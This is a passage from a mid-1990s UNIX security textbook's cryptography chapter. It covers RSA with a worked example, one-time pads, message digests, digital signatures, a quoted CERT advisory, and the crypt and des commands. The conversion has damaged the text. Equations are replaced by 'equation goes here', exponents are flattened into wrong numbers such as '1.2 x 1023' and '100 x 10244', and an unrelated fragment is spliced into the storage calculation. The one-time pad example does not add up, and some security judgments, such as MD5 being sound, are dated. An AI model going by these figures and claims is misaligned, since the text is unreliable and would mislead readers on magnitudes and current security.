The RSA algorithm is covered by U.S. Patent 4,405,829 ("Cryptographic Communications System and Method"), which was filed for on December 14, 1977; issued on September 20, 1983; and expires on September 20, 2000. Because a description of the algorithm was published before the patent application was filed, RSA can be used without royalty everywhere in the world except the United States (international patent laws have different coverage of prior disclosure and patent applicability).[18] Not surprisingly, RSA is significantly more popular in Europe and Japan than in the United States, although its popularity in the U.S. is increasing.

[18] Ongoing controversy exists over whether this, or any other patent granted on what amounts to a series of mathematical transformations, can properly be patented. Some difference of opinion also exists about the scope of the patent protection. We anticipate that the courts will need a lot of time to sort out these issues.

6.4.6.1 How RSA works

The strength of RSA is based on the difficulty of factoring a very large number. The following brief treatment does not fully explain the mathematical subtleties of the algorithm. If you are interested in more detail, you can consult the original paper[19] or a text such as those listed in Appendix D.

[19] Rivest, R., Shamir, A., Adleman, L., "A Method for Obtaining Digital Signatures and Public Key Cryptosystems," Communications of the ACM, Volume 21, Number 2, February 1978.

RSA is based on well-known, number-theoretic properties of modular arithmetic and integers. One property makes use of the Euler Totient Function, [phi] (n). The Totient function of a number is defined as the count of integers less than that number that are relatively prime to that number. (Two numbers are relatively prime if they have no common factors; for example, 9 and 8 are relatively prime.) The Totient function for a prime number is one less than the prime number itself: every positive integer less than the number is relatively prime to it.

The property used by RSA was discovered by Euler and is this: any integer i relatively prime to n raised to the power of [phi] (n) and taken mod n is equal to 1. That is:

equation goes here

Suppose e and d are random integers that are inverses modulo [phi] (n), that is:

equation goes here

A related property used in RSA was also discovered by Euler. His theorem says that if M is any number relatively prime to n, then:

and equation goes here

Cryptographically speaking, if M is part of a message, we have a simple means for encoding it with one function:

equation goes here

and decoding it with another function:

equation goes here

So how do we get appropriate values for n, e, and d? First, two large prime numbers p and q, of approximately the same size, are chosen, using some appropriate method. These numbers should be large - on the order of several hundred digits - and they should be kept secret.

Next, the Euler Totient function [phi] (pq) is calculated. In the case of n being the product of two primes, [phi] ( p q ) = ( p - 1 ) ( q - 1 ) = [phi] (n).

Next, we pick a value e that is relatively prime to [phi] (n). A good choice would be to pick something in the interval max ( p + 1, q + 1 ) < e <; [phi] (n). Then we calculate a corresponding d, such that e d mod [phi] (n) 1. That is, we find the modular inverse of e mod [phi] (n). If d should happen to be too small (i.e., less than about log2(n)), we pick another e and d.

Now we have our keys. To encrypt a message m, we split m into fixed-size integers M less than n. Then we find the value (Me) mod n = s for each portion of the message. This calculation can be done quickly with hardware, or with software using special algorithms. These values are concatenated to form the encrypted message. To decrypt the message, it is split into the blocks, and each block is decrypted as (sd) mod n =M.

6.4.6.2 An RSA example

For this example, assume we pick two prime numbers p and q:

p = 251
q = 269

The number n is therefore:

n = 251 * 269 = 67519

The Euler Totient function for this value is:

  [phi] (n) = (251-1) (269-1) = 67000

Let's arbitrarily pick e as 50253. d is then:

d = e-1 mod 67000 = 27917

because:

50253 * 27917 = 1402913001 = 20939 * 67000 + 1 = 1 ( mod 67000 )

Using n = 67519 allows us to encode any message M that is between 0 and 67518. We can therefore use this system to encode a text message two characters at a time. (Two characters have 16 bits, or 65536 possibilities.)

Using e as our key, let's encode the message "RSA works!" The sequence of ASCII characters encoding "RSA works!" is shown in the following table

Table 6.2: RSA Encoding Example
ASCII | Decimal Value | Encoded Value
"RS" | 21075 | 48467
"A" | 16672 | 14579
"wo" | 30575 | 26195
"rk" | 29291 | 58004
"s!" | 29473 | 30141

.

As you can see, the encoded values do not resemble the original message.

To decrypt, we raise each of these numbers to the power of d and take the remainder mod n. After translating to ASCII, we get back the original message.

When RSA is used for practical applications, it is used with numbers that are hundreds of digits long. Because doing math with hundred-digit-long strings is time consuming, modern public key applications are designed to minimize the number of RSA calculations that need to be performed. Instead of using RSA to encrypt the entire message, RSA is used to encrypt a session key, which itself is used to encrypt the message using a high-speed, private key algorithm such as DES or IDEA.

6.4.6.3 Strength of RSA

The numbers n and either e or d can be disclosed without seriously compromising the strength of an RSA cipher. For an attacker to be able to break the encryption, he or she would have to find [phi] (n), which, to the best of anyone's knowledge, requires factoring n.

Factoring large numbers is very difficult - no known method exists to do it efficiently. The time required to factor a number can be several hundred years or several billion years with the fastest computers, depending on how large the number n is. If n is large enough, it is, for all intents and purposes, unfactorable. The RSA encryption system is therefore quite strong, provided that appropriate values of n, e, and d are chosen, and that they are kept secret.

To see how difficult factoring a large number is, let's do a little rough calculation of how long factoring a 200 decimal-digit number would take; this number is more than 70 digits longer than the largest number ever factored, as of the time this book went to press.

All 200-digit values can be represented in at most 665 binary bits.

  1. has digits.equation goes here

(In general, to factor a 665-bit number using one of the fastest-known factoring algorithms would require approximately 1.2 x 1023 operations.)

Let's assume you have a machine that will do 10 billion (1010) operations per second. (Somewhat faster than today's fastest parallel computers.) To perform 1.2 x 1023 operations would require 1.2 x 1013 seconds, or 380,267 years worth of computer time. If you feel uneasy about having your number factored in 380,267 years, simply double the size of your prime number: a 400-digit number would require a mere 8.6 x 1015 years to factor. This is probably long enough; according to Stephen Hawking's A Brief History of Time, the universe itself is only about 2 x 1010 years old.

To give you another perspective on the size of these numbers, assume that you (somehow) could precalculate the factors of all 200 decimal digit numbers. Simply to store the unfactored numbers themselves would require approximately (9 x 10200) x 665 bits of storage (not including any overhead or indexing). Assume that you can store these on special media that hold 100GB (100 x 10244 or approximately 1.1 x 1014) of storage. You would need about 6.12 x 10 189 of these disks.

Now assume that each of those disks is only one millionth A Brief History of Time, the universe itself is only about 2 x 1010 of a gram in weight (1 pound is 453.59 grams). The weight of all your storage would come to over 6.75 x 10177 tons of disk. The planet Earth weighs only 6.588 x 1021 tons. The Chandrasekhar limit, the amount of mass at which a star will collapse into a black hole, is about 1.5 times the mass of our Sun, or approximately 3.29 x 1027 tons. Thus, your storage, left to itself, would collapse into a black hole from which your factoring could not escape! We are not sure how much mass is in our local galaxy, but we suspect it might be less than the amount you'd need for this project.

Again, it looks fairly certain that without a major breakthrough in number theory, the RSA mechanism (and similar methods) are almost assuredly safe from brute-force attacks, provided that you are careful in selecting appropriately prime numbers to create your key.

Factor This!

Not a year goes by without someone claiming to have made a revolutionary breakthrough in the field of factoring - some new discovery which "breaks" RSA and leaves any program based upon it vulnerable to decoding.

To help weed out the frauds from the real findings, RSA Data Security has created a challenge list of numbers. Each number on the list is the product of two large prime numbers. When the folks at RSA are contacted by somebody who claims a factoring breakthrough (and usually promises to keep the breakthrough a secret in exchange for some cash), they give the person a copy of the RSA challenge numbers.

The first RSA challenge number was published in the August 1977 issue of Scientific American. The number was 129 digits long, and $100 was offered for finding its factors. The RSA-129 number was solved in the fall of 1994 by an international team of more than 600 volunteers.

A month later, a researcher at the MIT AI Laboratory contacted one of the authors of this chapter, claiming a new factoring breakthrough. But there was a catch: to prove that he had solved the factoring problem, the researcher had factored that same RSA-129 number.

Nice try. That one has already been solved. If you are interested in the fame and fortune that comes from finding new factoring functions, try factoring this:

RSA-140 =
2129024631825875754749788201627151749780670396327721627823338321538194
9984056495911366573853021918316783107387995317230889569230873441936471

If you factor this number, you'll get more than fame: you'll get cash. RSA Data Security keeps a "jackpot" for factoring winners. The pot grows by $1750 every quarter. The first quarter of 1995, it was approximately $15,000.

You can get a complete list of all the RSA challenge numbers by sending an electronic mail message to challenge-rsa-list@rsa.com.

6.4.7 An Unbreakable Encryption Algorithm

One type of encryption system is truly unbreakable: the so-called one-time pad mechanism. A one-time pad is illustrated in Figure 6.4.

The one-time pad often makes use of the mathematical function known as exclusive OR (XOR, (+)). If you XOR a number with any value V, then you get a second, encrypted number. XOR the encrypted number with value V a second time, and you'll get your starting number back. That is:

message = M

ciphertext = M (+) V

plaintext = ciphertext (+) V = ((M (+) V) (+) V)

A system based on one-time pads is mathematically unbreakable (provided that the key itself is truly random) because you can't do a key search: if you try every possible key, you will get every possible message of the same length back. How do you tell which one is correct?

Unfortunately, there is a catch: to use this system, you need to have a stream of values - a key, if you will - that is at least as long as the message you wish to encrypt. Each character of your message is XOR'ed, bit by bit, with each successive character of the stream.

Figure 6.4: A one-time pad

One-time pads have two important vulnerabilities:

  1. The stream of random values must be truly random. If there is any regularity or order, that order can be measured and exploited to decode the message.

  2. The stream must never be repeated. If it is, a sophisticated cryptanalyst can find the repeats and use them to decode all messages that have been encoded with the no-longer one-time pad.

Most one-time pads are generated with machines based on nuclear radioactive decay, a process that is believed to be unpredictable, if not truly random. Almost every "random number generator" you will find on any standard computer system will not generate truly random numbers: the sequence will eventually repeat.

To see how this encryption mechanism works in practice, imagine the following one-time pad:

23 43 11 45 23 43 98 43 52 86 43 87 43 92 34

With this sequence, the message:

UNIX is secure.

Might encrypt as follows:

:\:\:s*:3:\rEs[drNERwe.

Which is really a printed representation of the following string of values:

69 98 85 55 66 17 11 71 51 72 34 89 57 12

To use a one-time pad system, you need two copies of the pad: one to encrypt the message, and the other to decrypt the message. Each copy must be destroyed after use; after all, if an attacker should ever obtain a copy of the pad, then any messages sent with it would be compromised.

One of the main uses of one-time pads has been for sensitive diplomatic communications that are subject to heavy monitoring and intensive code breaking attempts - such as the communication lines between the U.S. Embassy in Moscow and the State Department in Washington, D.C. However, the general use of one-time pads is limited because generating the sequence of random bits is difficult, and distributing it securely to both the sender and the recipient of the message is expensive.

Because of the problems associated with one-time pads, other kinds of algorithms are normally employed for computer encryption. These tend to be compact, mathematically based functions. The mathematical functions are frequently used to generate a pseudorandom sequence of numbers that are XOR'ed with the original message - which is similar to the way the one-time pad works. (For example, Jim Bidzos, president of RSA Data Security, likes to call its RC4 stream cipher a "one-time pad generator," although the cipher is clearly not such a thing.) The difference between the two techniques is that, with mathematical functions, you can always - in principle, at least - translate any message encrypted with these methods back into the original message without knowing the key.

6.4.8 Proprietary Encryption Systems

The RC4 algorithm mentioned in the previous section is an example of a so-called proprietary encryption algorithm: an encryption algorithm developed by an individual or company which is not made publicly available.

There are many proprietary algorithms in use today. Usually, the algorithms are private key algorithms that are used in place of algorithms such as DES or IDEA.[20] Although some proprietary systems are relatively secure, the vast majority are not. To make matters worse, you can rarely tell which are safe and which are not - especially if the company selling the encryption program refuses to publish the details of the algorithm.

[20] While creating a public key encryption system is difficult, creating a private key system is comparatively easy. Making a private key system that is secure, on the other hand, is a considerably more difficult endeavor.

A standard tenet in data encryption is that the security of the system should depend completely on the security of the encryption key. When choosing an encryption system, rely on formal mathematical proofs of security, rather than on secret proprietary systems. If the vendor of an encryption algorithm or technology will not disclose the algorithm and show how it has been analyzed to show its strength, you are probably better off avoiding it.

The RC4 algorithm is no exception to this tenet. In 1994, an unknown person or persons published source code that claimed to be RC4 on the Internet. By early 1996, a number of groups around the world had started to find minor flaws in the algorithm, most of them having to do with weak keys. Although RC4 appears to be secure for most applications at this time, the clock may be ticking.

Previous: 6.3 The Enigma Encryption System | Practical UNIX & Internet Security | Next: 6.5 Message Digests and Digital Signatures
6.3 The Enigma Encryption System | Book Index | 6.5 Message Digests and Digital Signatures


[Chapter 6] 6.5 Message Digests and Digital Signatures

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.4 Common Cryptographic Algorithms Chapter 6
Cryptography 		Next: 6.6 Encryption Programs Available for UNIX

6.5 Message Digests and Digital Signatures

A message digest (also known as a cryptographic checksum or cryptographic hashcode) is nothing more than a number - a special number that is effectively a hashcode produced by a function that is very difficult to reverse.

A digital signature is (most often) a message digest encrypted with someone's private key to certify the contents. This process of encryption is called signing. Digital signatures can perform two different functions, both very important to the security of your system:

  • Integrity - A digital signature indicates whether a file or a message has been modified.

  • Authentication - A digital signature makes possible mathematically verifying the name of the person who signed the message.

A third function that is quite valuable in some contexts is called non-repudiation. Non-repudiation means that after you have signed and sent a message, you cannot later claim that you did not sign the original message. You cannot repudiate your signature, because the message was signed with your private key (which, presumably, no one else has).

We'll outline the first two of these concepts here, and refer to them in later chapters (and especially in Chapter 9, Integrity Management). Non-repudiation is not of major concern to us here, although it is important in many other contexts, especially that of email.

6.5.1 Message Digests

A simple hash function takes some input, usually of indefinite length, and produces a small number that is significantly shorter than the input. The function is many to one, in that many (possibly infinite) inputs may generate the same output value. The function is also deterministic in that the same output value is always generated for identical inputs. Hash functions are often used in mechanisms that require fast lookup for various inputs, such as symbol tables in compilers and spelling checkers.

A message digest is also a hash function. It takes a variable length input - often an entire disk file - and reduces it to a small value (typically 128 to 512 bits). Give it the same input, and it always produces the same output. And, because the output is very much smaller than the potential input, for at least one of the output values there must be more than one input value that can produce it; we would expect that to be true for all possible output values for a good message digest algorithm.

There are two other important properties of good message digest algorithms. The first is that the algorithm cannot be predicted or reversed. That is, given a particular output value, we cannot come up with an input to the algorithm that will produce that output, either by trying to find an inverse to the algorithm, or by somehow predicting the nature of the input required. With at least 128 bits of output, a brute force attack is pretty much out of the question, as there will be 1.7 x 1038 possible input values of the same length to try, on average, before finding one that generates the correct output. Compare this with some of the figures given in "Strength of RSA" earlier in this chapter, and you'll see that this task is beyond anything anyone would be able to try with current technology. With numbers as large as these, the idea that any two different documents produced at random during the course of human history would have the same 128-bit message digest is unlikely!

The second useful property of message digest algorithms is that a small change in the input results in a significant change in the output. Change a single input bit, and roughly half of the output bits should change. This is actually a consequence of the first property, because we don't want the output to be predictable based on the input. However, this aspect is a valuable property of the message digest all by itself.

6.5.2 Using Message Digests

Given the way that a message digest works, you can understand how it can be used as an authentication system for anyone who is distributing digital documents: simply publish your documents electronically, distribute them on the Internet, and for each document also publish its message digest. Then, if you want to be sure that the copy of the document you download from the Internet is an unaltered copy of the original, simply recalculate the document's message digest and compare it with the one for the document that you published. If they match, you know you've got the same document as the original.

In fact, the Computer Emergency Response Team (CERT) does this via the Internet when they distribute patches and bug fixes for security-related problems. The following is a portion of a 1994 message from CERT advising recipients to replace the FTP programs on their computers with more secure versions:

Date: Thu, 14 Apr 94 16:00:00 EDT
Subject: CERT Advisory CA-94:08.ftpd.vulnerabilities
To: cert-advisory-request@cert.org
From: cert-advisory@cert.org (CERT Advisory)
Organization: CERT Coordination Center
Address:      Software Engineering Institute
              Carnegie Mellon University
              Pittsburgh, Pennsylvania 15213-3890
=======================================================================
CA-94:08                     CERT Advisory
                            April 14, 1994
                         ftpd Vulnerabilities
-----------------------------------------------------------------------

The CERT Coordination Center has received information concerning two
vulnerabilities in some ftpd implementations.  The first is a
vulnerability with the SITE EXEC command feature of the FTP daemon
(ftpd) found in versions of ftpd that support the SITE EXEC feature.
This vulnerability allows local or remote users to gain root access.
The second vulnerability involves a race condition found in the ftpd
implementations listed in Section I. below.  This vulnerability allows
local users to gain root access.

Sites using these implementations are vulnerable even if they do not
support anonymous FTP.

                                . . .

II.  Impact

Anyone (remote or local) can gain root access on a host running a
vulnerable FTP daemon.  Support for anonymous FTP is not required
to exploit this vulnerability.

III. Solution

Affected sites can solve both of these problems by upgrading to
the latest version of ftpd. These versions are listed below. Be
certain to verify the checksum information to confirm that you
have retrieved a valid copy.

If you cannot install the new version in a timely manner, you
should disable FTP service until you have corrected this problem.
It is not sufficient to disable anonymous FTP.  You must disable
the FTP daemon.

For wuarchive ftpd, you can obtain version 2.4 via anonymous
FTP from wuarchive.wustl.edu, in the "/packages/wuarchive-ftpd"
directory.  If you are currently running version 2.3, a patch
file is available.

                   BSD        SVR4
File               Checksum   Checksum    MD5 Digital Signature
-----------------  --------   ---------   -----------------------------
wu-ftpd2.4.tar.Z    38213 181   20337 362  cdcb237b71082fa23706429134d8c32e
patch_2.3-2.4.Z     09291   8   51092  16  5558a04d9da7cdb1113b158aff89be8f

                                . . .

As you can tell from the tone of the message, CERT considers the security problem to be extremely serious: anyone on the Internet could break into a computer running a particular ftpd program and become the superuser! CERT had a fix for this bug but rather than distribute it to each site individually, they identified a principal site with the fix (wuarchive.wustl.edu) and advised people to download the fix.

MD5 is a commonly used message-digest algorithm. CERT publishes the MD5 "digital signature" of the files so that people can verify the authenticity of the patch before they install it. After receiving the message from CERT and downloading the patch, system administrators are supposed to compute the MD5 of the binary. This process provides two indications.

  1. If the MD5 of the binary matches the one published in the CERT message, a system administrator knows the file wasn't damaged during the download.

  2. More importantly, if the two MD5 codes match, a system administrator can be certain that hackers haven't broken into the computer wuarchive.wustl.edu and replaced the patch with a program that contains security holes.

Although CERT's interest in security is commendable, there is an important flaw in this approach. Nothing guarantees that the CERT message itself isn't forged. In other words, any hacker with sufficient skill to break into an anonymous FTP repository and play switcheroo with the binaries might also be able to send a forged email message to CERT's mailing lists telling system administrators to install new (and faulty) software. Unsuspecting administrators would receive the email message, download the patch, check the MD5 codes, and install the software - creating a new security hole for the hackers to exploit.

CERT's problem, then, is this: while the MD5 code in the email message is a signature for the patch, there is no signature for the message from CERT itself! There is no way to verify that the CERT message is authentic.

CERT personnel are aware of the problem that alerts can be forged. For this reason, CERT uses digital signatures for all its alerts available via anonymous FTP from the computer ftp.cert.org. For each alert, you find a file with an .asc file extension, which contains a digital signature. Unfortunately, CERT (at this time) does not distribute its alerts with the digital signature at the bottom of the message, which would make things easier for everybody.

6.5.3 Digital Signatures

As we pointed out in the last section, a message digest function is only half of the solution to creating a reliable digital signature. The other half is public key encryption - only run in reverse.

Recall that when we introduced public key encryption earlier in this chapter, we said that it depends on two keys:

Public key

A key that is used for encrypting a secret message. Normally, the public key is widely published.

Secret key

A key that is kept secret, for decrypting messages once they are received.

By using a little bit of mathematical gymnastics, you can run the public key algorithm in reverse. That is, you could encrypt messages with your secret key; these messages can then be decrypted by anyone who possesses your public key. Why would anyone want to do this? Each public key has one and only one matching secret key. If a particular public key can decrypt a message, you can be sure that the matching secret key was used to encrypt it. And that is how digital signatures work.

When you apply your secret key to a message, you are signing it. By using your secret key and the message digest function, you are able to calculate a digital signature for the message you're sending. In principle, a public key algorithm could be used without a message digest algorithm: we could encrypt the whole message with our private key. However, every public key algorithm in use requires a large amount of processor time to encrypt even moderate-size inputs. Thus, to sign a multi-megabyte file might take hours or days if we only used the public key encryption algorithm.

Instead, we use a fast message digest algorithm to calculate a hash value, and then we sign that small hash value with our secret key. When you, the recipient, get that small value, you can decrypt the hash value using our public key. You can also recreate the hash value from the input. If those two values match, you are assured that you got the same file we signed.

The most common digital signature in use today is the combination of the MD5 message digest algorithm and the RSA public key encryption mechanism. Another likely possibility is to use the SHA (Secure Hash Algorithm) and ElGamal public-key mechanism; together, these two algorithms form the NIST DSA - Digital Signature Algorithm.

6.5.4 Common Digest Algorithms

There are many message-digest functions available today. All of them work in roughly the same way, but they differ in speed and specific features. Details of these functions may be found in the references in Appendix D.

6.5.4.1 MD2, MD4, and MD5

One of the most widely used message digest functions is the MD5 function, which was developed by Ronald Rivest, is distributed by RSA Data Security, and may be used freely without license costs. It is based on the MD4 algorithm, which in turn was based on the MD2 algorithm.

The MD2, MD4, and MD5 message digest functions all produce a 128-bit number from a block of text of any length. Each of them pads the text to a fixed-block size, and then each performs a series of mathematical operations on successive blocks of the input.

MD2 was designed by Ronald Rivest and published in RFC 1319. There are no known weaknesses in it, but it is very slow. To create a faster message-digest, Rivest developed MD4, which was published in Internet RFCS 1186 and 1320. The MD4 algorithm was designed to be fast, compact, and optimized for machines with "little-endian" architectures.

Some potential attacks against MD4 were published in the cryptographic literature, so Dr. Rivest developed the MD5 algorithm, published in RFC 1321.[21] It was largely a redesign of MD4, and includes one more round of internal operations and several significant algorithmic changes. Because of the changes, MD5 is somewhat slower than MD4. However, it is more widely accepted and used than the MD4 algorithm.

[21] Internet RFCs are a form of open standards documents. They can be downloaded or mailed, and they describe a common set of protocols and data structures for interpretability.

As of early 1996, significant flaws have been discovered in MD4. As a result, the algorithm should not be used.

6.5.4.2 SHA

The Secure Hash Algorithm was developed by NIST with some assistance by the NSA. The algorithm appears to be closely related to the MD4 algorithm, except that it produces an output of 160 bits instead of 128. Analysis of the algorithm reveals that some of the differences from the MD4 algorithm are similar in purpose to the improvements added to the MD5 algorithm (although different in nature).

6.5.4.3 HAVAL

The HAVAL algorithm is a modification of the MD5 algorithm, developed by Yuliang Zheng, Josef Pieprzyk, and Jennifer Seberry. It can be modified to produce output hash values of various lengths, from 92 bits to 256. It also has an adjustable number of "rounds" (application of the internal algorithm). The result is that HAVAL can be made to run faster than MD5, although there may be some corresponding decrease in the strength of the output. Alternatively, HAVAL can be tuned to produce larger and potentially more secure hash codes.[22]

[22] You should note that merely having longer hash values does not necessarily make a message digest algorithm more secure.

6.5.4.4 SNEFRU

SNEFRU was designed by Ralph Merkle to produce either 128-bit or 256-bit hash codes. The algorithm can also be run with a variable number of "rounds" of the internal algorithm. However, analysis by several cryptographers has shown that SNEFRU has weaknesses that can be exploited, and that you can find arbitrary messages that hash to a given 128-bit value if the 4-round version is used. Dr. Merkle currently recommends that only 8-round SNEFRU be used, but this algorithm is significantly slower than the MD5 or HAVAL algorithms.

6.5.5 Other Codes

For the sake of completeness, we will describe two other types of "signature" functions.

6.5.5.1 Checksums

A checksum is a function that is calculated over an input to determine if that input has been corrupted. Most often, checksums are used to verify that data communications over a modem or network link have not undergone "bit-rot," or random changes from noise. They may also be built into storage controllers to perform checks on data moved to and from media: if a checksum doesn't agree with the data, then there may be a problem on the disk or tape.

Checksums are usually calculated as simple linear or polynomial functions over their input, and result in small values (16 or 32 bits). CRC polynomials, or cyclic-redundancy checksums, are a particular form of checksum that are commonly used. The sum command in UNIX will generate a CRC checksum, although there appear to be at least three major versions of sum available on modern UNIX systems, and they do not generate the same values!

Checksums are easy to calculate, and are simple to fool. You can alter a file in such a way that it has the same simple checksum as before the alteration. In fact, many "hacker toolkits" circulating in the hacker underground have tools to recreate sum output for system commands after they have been modified! Thus, checksums should never be used as a verification against malicious tampering.

6.5.5.2 Message authentication codes

Message Authentication Codes, or MACS [23] are basically message digests with a password thrown in. The intent is that the MAC cannot be recreated by someone with the same input unless that person also knows the secret key (password). These may or may not be safer than a simple message digest - depending on the algorithm used, the strength of the key, and the length of the output MAC.

[23] Not to be confused with the Mandatory Access Control, whose acronym is also MAC.

One simple form of MAC appends the message to the key and then generates a message digest. Because the key is part of the input, it alters the message digest in a way that can be recreated. Because two keys will generate very different output for the same data input, we achieve our goal of a password-dependent MAC.

A second form of MAC uses some form of stream encryption method, such as RC4 or DES in CFB mode. The key in this case is the encryption password, and the MAC is the last block of bits from the encryption algorithm. As the encryption output depends on all the bits of input and the secret password, the last block of the output will be different for a different input or a different password. However, if the encryption block size is small (e.g., 64 bits), the MAC may be more susceptible to brute-force guessing attacks than a larger message digest value would be.

A public key digital signature may be thought of as a MAC, too, as it depends on the message digest output and the secret key. A change in either will result in a change in the overall value of the function.

Previous: 6.4 Common Cryptographic Algorithms | Practical UNIX & Internet Security | Next: 6.6 Encryption Programs Available for UNIX
6.4 Common Cryptographic Algorithms | Book Index | 6.6 Encryption Programs Available for UNIX


[Chapter 6] 6.6 Encryption Programs Available for UNIX

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.5 Message Digests and Digital Signatures Chapter 6
Cryptography 		Next: 6.7 Encryption and U.S. Law

6.6 Encryption Programs Available for UNIX

This section describes three encryption programs that are available today on many UNIX systems:

crypt

The original UNIX encryption application.

des

An implementation of the Data Encryption Standard.

pgp

Phil Zimmermann's Pretty Good Privacy.

Each of these programs offers increasing amounts of security, but the more secure programs have more legal restrictions on their use in the United States.[24] Many other countries have passed legislation severely restricting or outlawing the use of strong cryptography by private citizens.

[24] We don't mean to slight our readers in countries other than the U.S., but we are not familiar with all of the various national laws and regulations around the world. You should check your local laws to discover if there are restrictions on your use of these programs.

6.6.1 UNIX crypt: The Original UNIX Encryption Command

UNIX crypt is an encryption program that is included as a standard part of the UNIX operating system. It is a very simple encryption program that is easily broken, as evidenced by AT&T's uncharacteristic disclaimer on the man page:

BUGS: There is no warranty of merchantability nor any warranty of fitness for a particular purpose nor any other warranty, either express or implied, as to the accuracy of the enclosed materials or as to their suitability for any particular purpose. Accordingly, Bell Telephone Laboratories assumes no responsibility for their use by the recipient. Further, Bell Laboratories assumes no obligation to furnish any assistance of any kind whatsoever, or to furnish any additional information or documentation.

- crypt reference page

Note that the crypt program is different from the more secure crypt() library call, which is described in Chapter 8, Defending Your Accounts.

6.6.1.1 The crypt program

The crypt program uses a simplified simulation of the Enigma encryption machine described in "The Enigma Encryption System" earlier in this chapter. Unlike Enigma, which had to encrypt only letters, crypt must be able to encrypt any block of 8-bit data. As a result, the rotors used with crypt must have 256 "connectors" on each side. A second difference between Enigma and crypt is that, while Enigma used three or four rotors and a reflector, crypt uses only a single rotor and reflector. The encryption key provided by the user determines the placement of the virtual wires in the rotor and reflector.

Partially because crypt has but a single rotor, files encrypted with crypt are exceedingly easy for a cryptographer to break. For several years, noncryptographers have been able to break messages encrypted with crypt as well, thanks to a program developed in 1986 by Robert Baldwin, then at the MIT Laboratory for Computer Science. Baldwin's program, Crypt Breaker's Workbench (CBW), decrypts text files encrypted with crypt within a matter of minutes, with minimal help from the user.

CBW breaks crypt by searching for arrangements of "wires" within the "rotor" that cause a file encrypted with crypt to decrypt into plain ASCII text. The task is considerably simpler than it may sound at first, because normal ASCII text uses only 127 of the possible 256 different code combinations (the ASCII codes 0 and 128 through 255 do not appear in normal UNIX text). Thus, most arrangements of the "wires" produce invalid characters when the file is decrypted; CBW automatically discards these arrangements.

CBW has been widely distributed; as a result, files encrypted with crypt should not be considered secure. (They weren't secure before CBW was distributed; fewer people simply had the technical skill necessary to break them.)

6.6.1.2 Ways of improving the security of crypt

We recommend that you do not use crypt to encrypt files more than 1K long. Nevertheless, you may have no other encryption system readily available to you. If this is the case, you are better off using crypt than nothing at all. You can also take a few simple precautions that will decrease the chances that your encrypted files will be decrypted:[25]

[25] In particular, these precautions will defeat CBW's automatic crypt-breaking activities.

  • Encrypt the file multiple times, using different keys at each stage. This essentially changes the transformation.

  • Compress your files before encrypting them. Compressing a file alters the information - the plain ASCII text - that programs such as CBW use to determine when they have correctly assembled part of the encryption key. If your message does not decrypt into plain text, CBW will not determine when it has correctly decrypted your message. However, if your attackers know you have done this, they can modify their version of CBW accordingly.

  • If you use compress or pack to compress your file, remove the 3-byte header. Files compressed with compress contain a 3-byte signature, or header, consisting of the hexadecimal values 1f, 9d and 90 (in that order). If your attacker believes that your file was compressed before it was encrypted, knowing how the first three bytes decrypt can help him to decrypt the rest of the file. You can strip these three bytes with the dd command:[26]

    [26] Using dd this way is very slow and inefficient. If you are going to be encrypting a lot of compressed files, you may wish to write a small program to remove the headers more efficiently.

    % compress -c <plaintext | dd bs=3 skip=1 | crypt >encrypted

Of course, you must remember to replace the 3-byte header before you attempt to uncompress the file:

% (compress -cf /dev/null;crypt <encrypted) | uncompress -c >plaintext

If you do not have compress, use tar to bundle your file to be encrypted with other files containing random data; then encrypt the tar file. The presence of random data will make it more difficult for decryption programs such as CBW to isolate your plaintext.

As encrypted files contain binary information, you must process them with uuencode if you wish to email them.

6.6.1.3 Example

To compress, encrypt, unencode, and send a file with electronic mail:

% ls -l myfile
-rw-r--r-- 1 fred 166328 Nov 16 15:25 myfile
% compress myfile
% ls -l myfile.Z
-rw-r--r-- 1 fred 78535 Nov 16 15:25 myfile.Z
% dd if=myfile.Z of=myfile.Z.strip bs=3 skip=1
26177+1 records in
26177+1 records out
% crypt akey < myfile.Z.strip | uuencode afile | mail spook@nsa.gov

To decrypt a file that you have received and saved in the file text file:

% head -3 file
begin 0600 afile
M?Z/#V3V,IGO!](D!175:;S9_IU\A7K;:'LBB,8363R,T+/WZSOC4PQ,U/6Q
MX,T8&XZDQ1+[4Y[*N4W@A3@9YM*4XV+U\)X9NT.7@Z+W"WY^9-?(JRU,-4%
% uudecode file
% ls -l afile
-rw-r--r-- 1 fred 78532 Nov 16 15:32 afile
% (compress -cf /dev/null;crypt < afile) | uncompress -c > myfile

myfile now contains the original file.

6.6.2 des: The Data Encryption Standard

There are several software implementations of the Data Encryption Standard that are commonly available for UNIX computers. Several of the most popular implementations are based on the des code written by Phil Karn, a UNIX guru (and ham radio operator whose call sign is KA9Q). In the past, some UNIX vendors have included des commands as part of their operating system, although many of these implementations have been removed so that the companies can maintain a single version of their operating system for both export and domestic use.[27] Nevertheless, des software is widely available both inside and outside the United States.

[27] For example, Sun Microsystems ships the easily broken crypt encryption program with Solaris, and sells a "US Encryption Kit" which contains the des program at a nominal cost.

The des command is a filter that reads from standard input and writes to standard output. It usually accepts the following command-line options:

% des -e|-d [-h] [-k key] [-b]

When using the DES, encryption and decryption are not identical operations, but are inverses of each other. The option -e specifies that you are encrypting a file. For example:

% des -e <message > message.des
Enter key: mykey
Enter key again: mykey
% cat message.des
"UI}mE8NZlOi\Iy|

(The Enter key: prompt is from the program; the key is not echoed.)

Use the -d option to decrypt your file:

% des -d < message.des
Enter key: mykey
Enter key again: mykey
This is the secret message.

You can use the -k option to specify the key on the command line. On most versions of UNIX, any user of the system can use the ps command to see what commands other users are running. Karn's version of des tries to mitigate the danger of the ps command by making a copy of its command line arguments and erasing the original. Nevertheless, this is a potential vulnerability, and should be used with caution.

NOTE: You should never specify a key in a shell script: anybody who has access to read the script will be able to decode your files.

A -b option to the command selects Electronic Code Book (ECB) mode. The default is Cipher Block Chaining (CBC). As described in "DES modes" earlier in this chapter, ECB mode encodes a block at a time, with identical input blocks encoding to identical output blocks. This encoding will reveal if there is a pattern to the input. However, it will also be able to decrypt most of the file even if parts of it are corrupted or deleted. CBC mode hides repeated patterns, and results in a file that cannot be decrypted after any point of change or deletion.

If you use the -h option, des will allow you to specify a key in hexadecimal. Such keys should be randomly generated. If you do not specify a key in hexadecimal, then your key will most likely be restricted to characters that you can type on your keyboard. Many people further restrict their keys to words or phrases that they can remember (see the sidebar entitled "Number of Passwords" in Chapter 3, Users and Passwords). Unfortunately, this method makes it dramatically easier for an attacker to decrypt a DES-encrypted file by doing a key search. To see why, consider the following table:

Table 6.3: Key Search Comparisons
Key Choice Algorithm | Keyspace | Number of Possible Keys
